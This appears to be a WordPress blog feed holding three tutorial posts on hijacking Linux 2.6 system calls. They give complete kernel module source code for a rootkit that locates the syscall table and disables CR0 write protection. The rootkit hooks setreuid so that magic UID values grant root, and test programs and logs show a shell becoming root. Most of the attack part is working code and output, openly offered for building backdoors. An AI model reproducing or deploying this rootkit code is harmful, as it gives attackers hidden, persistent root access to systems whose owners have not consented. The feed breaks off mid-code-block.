<p>- row 19: we allocate enaugh space to &#8220;filename&#8221; in order to contain the string &#8220;/boot/System.map-kernel_version&#8221;. The &#8220;kmalloc()&#8221; function is like the &#8220;malloc()&#8221; in kernel space. The second parameter is the kernel priority: &#8220;GFP_KERNEL&#8221; means &#8220;normal allocation&#8221;.<br />
- rows 21 to 42: we open the &#8220;/boot/System.map-kernel_version&#8221; file;<br />
- row 44: &#8220;p&#8221; points to &#8220;buf&#8221; because the &#8220;strsep()&#8221; function needs a &#8220;char **&#8221; as first parameter;<br />
- row 46: in the &#8220;while&#8221; loop we read one byte at once (I want to store in &#8220;buf&#8221; only one line at once);<br />
- row 48: if we have reached the end of line or we have read too much bytes, we can check for the &#8220;sys_call_table&#8221; string;<br />
- rows 52 to 77: if there is match, we store into &#8220;sys_string&#8221; the first token of the line, that is:</p>
<pre>c05d3180 R sys_call_table</pre>
<p>As you can see the first token is exactly the syscall table address. In the row 72 we convert the address from a string format to a long integer through the &#8220;simple_strtoll()&#8221; function (it&#8217;s like the&#8221; strtoll()&#8221; function (man strtoll)). Next we assign this value to &#8220;syscall_table&#8221;.<br />
- row 90: the &#8220;kfree()&#8221; function is like the &#8220;free()&#8221; function.</p>
<p>I show you the full module source code (&#8220;kernel_sys.c&#8221;): once we obtain the syscall table address we hijack the &#8220;__NR_setreuid32&#8243; syscall (I suggest you read <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/">this</a> and <a href="http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/">this</a> if you have not already done so):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/proc_fs.h&gt;
#include &lt;linux/syscalls.h&gt;
#include &lt;linux/kallsyms.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;asm/uaccess.h&gt;
#include &lt;asm/unistd.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/syscalls.h&gt;
#include &lt;linux/file.h&gt;
#include &lt;linux/fs.h&gt;
#include &lt;linux/fcntl.h&gt;
#include &lt;asm/uaccess.h&gt;
#include &lt;linux/version.h&gt;
#include &lt;linux/syscalls.h&gt;

#define PROC_V			&quot;/proc/version&quot;
#define BOOT_PATH		&quot;/boot/System.map-&quot;

#define MAX_LEN			256

unsigned long *syscall_table; 
int sys_found = 0;

asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);

asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {

	struct cred *new;

	 if ((ruid == 7310) &amp;&amp; (euid == 0137))	 {

		 printk(KERN_ALERT &quot;[Correct] \n&quot;);

		#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2, 6, 29) 	
			 		       		
			current-&gt;uid = current -&gt; gid = 0;
		 	current -&gt; euid = current -&gt; egid = 0;
		 	current -&gt; suid = current -&gt; sgid = 0;
		 	current -&gt; fsuid = current -&gt; fsgid = 0;

		#else

  			new = prepare_creds();

  			if ( new != NULL ) {

	  			new-&gt;uid = new-&gt;gid = 0;
				new-&gt;euid = new-&gt;egid = 0;
				new-&gt;suid = new-&gt;sgid = 0;
				new-&gt;fsuid = new-&gt;fsgid = 0;

				commit_creds(new);
			}
		#endif

		 return orig_setreuid (0, 0);
	 }

	 return orig_setreuid (ruid, euid);
}

char *search_file(char *buf) {
	
	struct file *f;
	char *ver;
	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	f = filp_open(PROC_V, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return NULL;
	
	}
	
	memset(buf, 0, MAX_LEN);
	
	vfs_read(f, buf, MAX_LEN, &amp;f-&gt;f_pos);
	
	ver = strsep(&amp;buf, &quot; &quot;);
	ver = strsep(&amp;buf, &quot; &quot;);
	ver = strsep(&amp;buf, &quot; &quot;);
		
	filp_close(f, 0);	
	set_fs(oldfs);
	
	return ver;

}

static int find_sys_call_table (char *kern_ver)
 {

	char buf[MAX_LEN];
	int i = 0;
	char *filename;
	char *p;
	struct file *f = NULL;

	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
	
	if ( filename == NULL ) {
	
		return -1;
	
	}
	
	memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
	
	strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
	strncat(filename, kern_ver, strlen(kern_ver));
	
	printk(KERN_ALERT &quot;\nPath %s\n&quot;, filename);
	
	f = filp_open(filename, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return -1;
	
	}

	memset(buf, 0x0, MAX_LEN);

	p = buf;

	while (vfs_read(f, p+i, 1, &amp;f-&gt;f_pos) == 1) {

		if ( p[i] == '\n' || i == 255 ) {
		
			i = 0;
			
			if ( (strstr(p, &quot;sys_call_table&quot;)) != NULL ) {
				
				char *sys_string;
				
				sys_string = kmalloc(MAX_LEN, GFP_KERNEL);	
				
				if ( sys_string == NULL ) { 
				
					filp_close(f, 0);
					set_fs(oldfs);
	
					kfree(filename);
	
					return -1;
	
				}

				memset(sys_string, 0, MAX_LEN);
				strncpy(sys_string, strsep(&amp;p, &quot; &quot;), MAX_LEN);
			
				syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
				
				kfree(sys_string);
				
				break;
			}
			
			memset(buf, 0x0, MAX_LEN);
			continue;
		}
		
		i++;
	
	}

	filp_close(f, 0);
	set_fs(oldfs);
	
	kfree(filename);

	return 0;
}

static int init(void) {

	char *kern_ver;
	char *buf;
	
	buf = kmalloc(MAX_LEN, GFP_KERNEL);
	
	if ( buf == NULL ) {
	
		sys_found = 1;
		return -1;
	
	}	

	printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

	kern_ver = search_file(buf);
		
	if ( kern_ver == NULL ) {

		sys_found = 1;
		return -1;
	
	}
	
	printk(KERN_ALERT &quot;Kernel version found: %s\n&quot;, kern_ver);
	
	if ( find_sys_call_table(kern_ver) == -1 ) {
	
		sys_found = 1;
		return -1;
	}

	sys_found = 0;
	
	write_cr0 (read_cr0 () &amp; (~ 0x10000));
	
	orig_setreuid = syscall_table[__NR_setreuid32];
	syscall_table[__NR_setreuid32] = new_setreuid;

	write_cr0 (read_cr0 () | 0x10000);
	
	kfree(buf);
	
	return 0;
}

static void exit(void) {
	
	if ( sys_found == 0 ) {
	
		write_cr0 (read_cr0 () &amp; (~ 0x10000));

		syscall_table[__NR_setreuid32] = orig_setreuid;

		write_cr0 (read_cr0 () | 0x10000);
	
	}
	
	printk(KERN_ALERT &quot;\nHIJACK EXIT\n&quot;);

	return;
}


module_init(init);
module_exit(exit);
</pre>
<p>The &#8220;sys_found&#8221; variable is used for control purposes.<br />
Here is the Makefile:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= kernel_sys.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>Here is our simple script (&#8220;test.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;

int main () {

        setreuid (7310, 0137);
        system (&quot;/bin/sh&quot;);

        return 0;
}
</pre>
<p>We can compile it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ make
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules
make[1]: ingresso nella directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.o
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘find_sys_call_table’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: cast to pointer from integer of different size
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: assignment from incompatible pointer type
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:221: warning: assignment makes pointer from integer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:222: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:239: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.mod.o
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.ko
make[1]: uscita dalla directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
spaccio@spaccio-laptop:~$ 
</pre>
<p>Next we load the module and we check if it finds the correct version of kernel and if it opens the relative &#8220;System.map-kernel_version&#8221;:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod kernel_sys.ko
spaccio@spaccio-laptop:~$ dmesg | tail
[ 5085.877145] HIJACK INIT
[ 5085.877182] Kernel version found: 2.6.35-24-generic
[ 5085.877189] 
[ 5085.877191] Path /boot/System.map-2.6.35-24-generic
[ 5102.441298]
spaccio@spaccio-laptop:~$
</pre>
<p>Everything seems right.<br />
Now we can test it with our simple script (&#8220;test.c&#8221;):</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ gcc test.c -o test
spaccio@spaccio-laptop:~$ ./test
# whoami
root
# exit
</pre>
<p>It seems to work! Wow&#8230;</p>
<p>- Conclusions</p>
<p>I&#8217;ve showed you two ways to find the syscall table address: one at compile-time and the other at run-time.<br />
You can use what you want and if you have any questions or suggests you can use comments.<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/379/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=379&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: Simple Rootkit (kernel 2.6.x)</title>
		<link>http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/</link>
		<comments>http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 13:00:44 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Kernel 2.6]]></category>
		<category><![CDATA[Programming C]]></category>
		<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[Syscall]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=348</guid>
		<description><![CDATA[Hi. In this post I&#8217;ll show you how to change the process credentials through kernel modules. In a such way you can make your own rootkit(s): i.e. when you performs a pre-established action, the module will give you a root access. First of all we need to know where these credentials are kept: in the [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=348&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. In this post I&#8217;ll show you how to change the process credentials through kernel modules. In a such way you can make your own rootkit(s): i.e. when you performs a pre-established action, the module will give you a root access.<br />
First of all we need to know where these credentials are kept: in the kernel versions &lt; 2.6.29 we find all this informations in the &#8220;task_struct&#8221; structure. This structure is defined in &#8220;linux/sched.h&#8221;:<span id="more-348"></span></p>
<pre class="brush: cpp; title: ; notranslate">
struct task_struct {
	volatile long state;	/* -1 unrunnable, 0 runnable, &gt;0 stopped */
	void *stack;
	atomic_t usage;
	unsigned int flags;	/* per process flags, defined below */
	unsigned int ptrace;
	...
	struct list_head children;	/* list of my children */
	struct list_head sibling;	/* linkage in my parent's children list */
	struct task_struct *group_leader;	/* threadgroup leader */
	...
	/* process credentials */
	uid_t uid,euid,suid,fsuid;
	gid_t gid,egid,sgid,fsgid;
	struct group_info *group_info;
	...
};
</pre>
<p>In this structure are maintained all the task informations: some of these are the process credentials like the UID, EUID, ecc&#8230;<br />
So if we&#8217;ll modify this field we can also modify the process credentials. We can set this field to 0 (root) as follows:</p>
<pre class="brush: cpp; title: ; notranslate">
current-&gt;uid = current-&gt;gid = 0;
current-&gt;euid = current-&gt;egid = 0;
current-&gt;suid = current-&gt;sgid = 0;
current-&gt;fsuid = current-&gt;fsgid = 0;
</pre>
<p>Where &#8220;current&#8221; is macro for the task struct of the current process.<br />
Previously I have specified &#8220;in the kernel versions &lt; 2.6.29&#8243;, now you might ask: but the newer ones?<br />
Since from the kernel versions &gt;= 2.6.29 the &#8220;task_struct&#8221; was changed: this happens because was changed the logic of how access to the process credentials.<br />
I suggest to read this <a href="http://www.mjmwired.net/kernel/Documentation/credentials.txt">paper</a> (very very short paper) that explain detailed the new way to access/change the process credentials.<br />
Now we have a new structure in the &#8220;task_struct&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
struct task_struct {
	...
	const struct cred *cred;	/* effective (overridable) subjective task
					 * credentials (COW) */
	...
};
</pre>
<p>The new structure &#8220;cred&#8221; is defined in &#8220;linux/cred.h&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
struct cred {
	...
	uid_t		uid;		/* real UID of the task */
	gid_t		gid;		/* real GID of the task */
	uid_t		suid;		/* saved UID of the task */
	gid_t		sgid;		/* saved GID of the task */
	uid_t		euid;		/* effective UID of the task */
	gid_t		egid;		/* effective GID of the task */
	uid_t		fsuid;		/* UID for VFS ops */
	gid_t		fsgid;		/* GID for VFS ops */
	...
</pre>
<p>In this struct we can find all the process credentials: we can modify them in this way:</p>
<pre class="brush: cpp; title: ; notranslate">

struct cred *new;

new = prepare_creds();

if ( new != NULL ) {

	new-&gt;uid = new-&gt;gid = 0;
	new-&gt;euid = new-&gt;egid = 0;
	new-&gt;suid = new-&gt;sgid = 0;
	new-&gt;fsuid = new-&gt;fsgid = 0;

	commit_creds(new);
}
</pre>
<p>Now I&#8217;ll explain the used functions through the <a href="http://www.mjmwired.net/kernel/Documentation/credentials.txt">paper</a>.<br />
The &#8220;prepare_creds()&#8221;:</p>
<pre>To alter the current process's credentials, a function should first prepare a
new set of credentials by calling:

struct cred *prepare_creds(void);

this locks current-&gt;cred_replace_mutex and then allocates and constructs a
duplicate of the current process's credentials, returning with the mutex still
held if successful.  It returns NULL if not successful (out of memory).</pre>
<p>The &#8220;commit_creds()&#8221;:</p>
<pre>When the credential set is ready, it should be committed to the current process
by calling:

int commit_creds(struct cred *new);

This will alter various aspects of the credentials and the process, giving the
LSM a chance to do likewise, then it will use rcu_assign_pointer() to actually
commit the new credentials to current-&gt;cred, it will release
current-&gt;cred_replace_mutex to allow ptrace() to take place, and it will notify
the scheduler and others of the changes.

This function is guaranteed to return 0, so that it can be tail-called at the
end of such functions as sys_setresuid().</pre>
<p>We have now enough informations to create our first rootkit. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 &amp;&amp; EUID == 0143. We only need to hijack the &#8220;__NR_setreuid32&#8243; syscall and check for the ruid and euid.<br />
I have shown two ways to change the process credentials: we can unify them in a single kernel module simply checking for the kernel version using this macro:</p>
<pre class="brush: plain; title: ; notranslate">
#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2, 6, 29)

	...

#else

	...

#endif
</pre>
<p>Now we can write the rootkit &#8220;rootkit.c&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/errno.h&gt;
#include &lt;linux/version.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/cacheflush.h&gt;
#include &lt;asm/page.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/kallsyms.h&gt;

unsigned long *syscall_table = (unsigned long *)0xc05d3180;

asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);

asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {

	struct cred *new;

	 if ((ruid == 3410) &amp;&amp; (euid == 0143))	 {

		 printk(KERN_ALERT &quot;[Correct] \n&quot;);

		#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2, 6, 29) 		 		       	current-&gt;uid = current -&gt; gid = 0;
		 	current -&gt; euid = current -&gt; egid = 0;
		 	current -&gt; suid = current -&gt; sgid = 0;
		 	current -&gt; fsuid = current -&gt; fsgid = 0;

		#else

  			new = prepare_creds();

  			if ( new != NULL ) {

	  			new-&gt;uid = new-&gt;gid = 0;
				new-&gt;euid = new-&gt;egid = 0;
				new-&gt;suid = new-&gt;sgid = 0;
				new-&gt;fsuid = new-&gt;fsgid = 0;

				commit_creds(new);
			}
		#endif

		 return orig_setreuid (0, 0);
	 }

	 return orig_setreuid (ruid, euid);
}

static int init(void) {

	printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

	write_cr0 (read_cr0 () &amp; (~ 0x10000));

	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;

	write_cr0 (read_cr0 () | 0x10000);

	return 0;
}

static void exit(void) {

	write_cr0 (read_cr0 () &amp; (~ 0x10000));

	syscall_table[__NR_setreuid32] = orig_setreuid;

	write_cr0 (read_cr0 () | 0x10000);

	printk(KERN_ALERT &quot;MODULE EXIT\n&quot;);

	return;
}

module_init(init);
module_exit(exit);
</pre>
<p>I suggest to read my previous <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/">post</a> to better understand this code.<br />
The Makefile:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= rootkit.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>A simple script to test it (&#8220;test.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include

int main () {

        setreuid (3410, 0143);
        system (&quot;/bin/sh&quot;);

        return 0;
}
</pre>
<p>Now I compile the kernel module:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ make
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules
make[1]: ingresso nella directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.o
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:63: warning: assignment makes pointer from integer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:64: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:75: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.mod.o
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.ko
make[1]: uscita dalla directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$
</pre>
<p>I compile the script:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ gcc test.c -o test
</pre>
<p>And finally test all:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ sudo insmod rootkit.ko
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ ./test
# whoami
root
# exit
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod
</pre>
<p>Enjoy this: for any questions use comments.<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/348/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=348&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: Kernel 2.6.* systems</title>
		<link>http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/</link>
		<comments>http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 18:02:49 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[CR0 Protection]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Kernel 2.6]]></category>
		<category><![CDATA[Syscall]]></category>
		<category><![CDATA[Write protection]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=312</guid>
		<description><![CDATA[In this guide I will explain how to hijack the syscall in kernel 2.6.*: in particular how to bypass the kernel write protection and the &#8220;protected mode&#8221; bit of the CR0 CPUs register. I don&#8217;t explain what is a syscall or syscall table: I assume you know what it is. - Accessing to Syscall Table [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=312&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In this guide I will explain how to hijack the syscall in kernel 2.6.*: in particular how to bypass the kernel write protection and the &#8220;protected mode&#8221; bit of the CR0 CPUs register.<br />
I don&#8217;t explain what is a syscall or syscall table: I assume you know what it is.<br />
<span id="more-312"></span><br />
- Accessing to Syscall Table</p>
<p>If you have tried to execute rootkit wrote for 2.4.* kernels then you will know that them don&#8217;t work in the 2.6.* kernel systems.<br />
In kernel 2.6.* the &#8220;sys_call_table&#8221; is no longer exported and you can&#8217;t access it directly: moreover the memory pages in which the table resides are now write-protected.<br />
So we can no longer access the table in this way:</p>
<pre class="brush: cpp; title: ; notranslate">
extern void *sys_call_table[];
...
sys_call_table[__NR_syscall] = pointer
</pre>
<p>But the table is still in the memory: if we know its memory address we can access it through a simple pointer. There are a lot of methods to find this address: the simplest is searching inside the &#8220;System.map&#8221; file in the &#8220;/boot&#8221; directory. This file is created each time a kernel is compiled: it contains all the symbols and their addresses used by the kernel.<br />
The output of this file follows:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-23-generic
...
c018d140 t cgroup_remount
c018d260 T cgroup_path
c018d310 t allocate_cg_links
c018d410 t find_css_set
c018d7d0 T cgroup_attach_task
c018da40 T cgroup_clone
c018dcc0 t cgroup_tasks_write
c018dd90 t cgroup_release_agent
c018df50 t proc_cgroup_show
c018e180 t cgroup_pidlist_find
c018e320 t cgroup_write_event_control
c018e610 t pidlist_allocate
c018e640 t pidlist_array_load
...
</pre>
<p>We are only interested at the &#8220;sys_call_table&#8221; address:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-23-generic | grep sys_call_table
c05d2180 R sys_call_table
</pre>
<p>- Bypass Kernel Write Protection</p>
<p>Now we have the table&#8217;s address: but if you have looked at the &#8220;grep&#8221; command you will have seen that there is an &#8216;R&#8217;: this means that this address is &#8220;read-only&#8221;.<br />
Indeed the kernel poses some structures in the &#8220;read-only&#8221; memory zone: in this way it protects them against intentional or unintentional changes which can lead to system instability. So we have to set this structure in &#8220;read/write&#8221; mode if we want to modify them.<br />
Fortunately, the kernel provides us with special functions for this task:</p>
<pre class="brush: cpp; title: ; notranslate">
void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012fbb0;
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012fe80;
</pre>
<p>The &#8220;pages_rw&#8221; function sets the write mode on the page passed as an argument; the second one sets the read mode on the page passed as an argument. Bu we need the virtual address of the page in order to use it: we can use for this task the &#8220;virt_to_page()&#8221; function, that converts the virtual address of the page in the corresponding physical page of memory accessible by the kernel. In order to use the &#8220;pages_*&#8221; functions we have to know their addresses. We can obtain them from the &#8220;System.map&#8221; file:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-23-generic | grep -e pages_rw -e pages_ro
c012fbb0 T set_pages_rw
c012fe80 T set_pages_ro
</pre>
<p>Now we can access and modify the sys_call_table in this way:</p>
<pre class="brush: cpp; title: ; notranslate">
...

unsigned long *syscall_table = (unsigned long *)0xc05d2180; 

...

void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012fbb0;
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012fe80;

...

static int init(void)
{

    struct page *_sys_call_page;
    printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

    _sys_call_page = virt_to_page(&amp;syscall_table);

    pages_rw(_sys_call_page, 1);
    
    // now we can use the sys_call_table
    
    ...
}    
</pre>
<p>This is an example source code (hijack.c):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt; 
#include &lt;linux/errno.h&gt; 
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/cacheflush.h&gt;  
#include &lt;asm/page.h&gt;  
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/kallsyms.h&gt;

unsigned long *syscall_table = (unsigned long *)0xc05d2180; 

void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012fbb0;
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012fe80;

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT &quot;WRITE HIJACKED&quot;);

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    struct page *sys_call_page_temp;

    printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

    sys_call_page_temp = virt_to_page(&amp;syscall_table);
    pages_rw(sys_call_page_temp, 1);

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    return 0;
}

static void exit(void) {

    struct page *sys_call_page_temp;
   
    sys_call_page_temp = virt_to_page(syscall_table);
    syscall_table[__NR_write] = original_write;  
    pages_ro(sys_call_page_temp, 1);
    
    printk(KERN_ALERT &quot;MODULE EXIT\n&quot;);

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>Here is a &#8220;Makefile&#8221; to compile the source code:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= hijack.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>Now we can load our module:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod hijack.ko
</pre>
<p>- Bypass CR0 Protection</p>
<p>Some CPUs have the 0-bit of the CR (control register) set to 0: this means that <a href="http://en.wikipedia.org/wiki/Protected_mode">&#8220;protected mode&#8221;</a> is enabled. The &#8220;protected mode&#8221; was introduced in Intel CPUs starting from Intel 80286. This bit is also called wp-bit: we can check if our CPU support this kind of protection in this way:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /proc/cpuinfo | grep wp
wp		: yes
wp		: yes
</pre>
<p>You can find <a href="http://en.wikipedia.org/wiki/Control_register#CR0">here</a> a brief description of the CR0 register. Reading from wikipedia you can see that bit 0 (WP) is the one that deals with the &#8220;protected mode&#8221;: if WP is set to 1 then the CPU is in &#8220;write-protect&#8221; mode; else it is in &#8220;read/write&#8221; mode.<br />
If the CPU is in &#8220;write-protect&#8221; mode and if we try to load the &#8220;hijack.ko&#8221; module, the kernel will kill it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod hijack.ko
Killed
</pre>
<p>So if we set this bit to 0 we will have access to the memory pages (including the syscall table) in write mode.<br />
Again the kernel provides us two functions:</p>
<pre class="brush: cpp; title: ; notranslate">
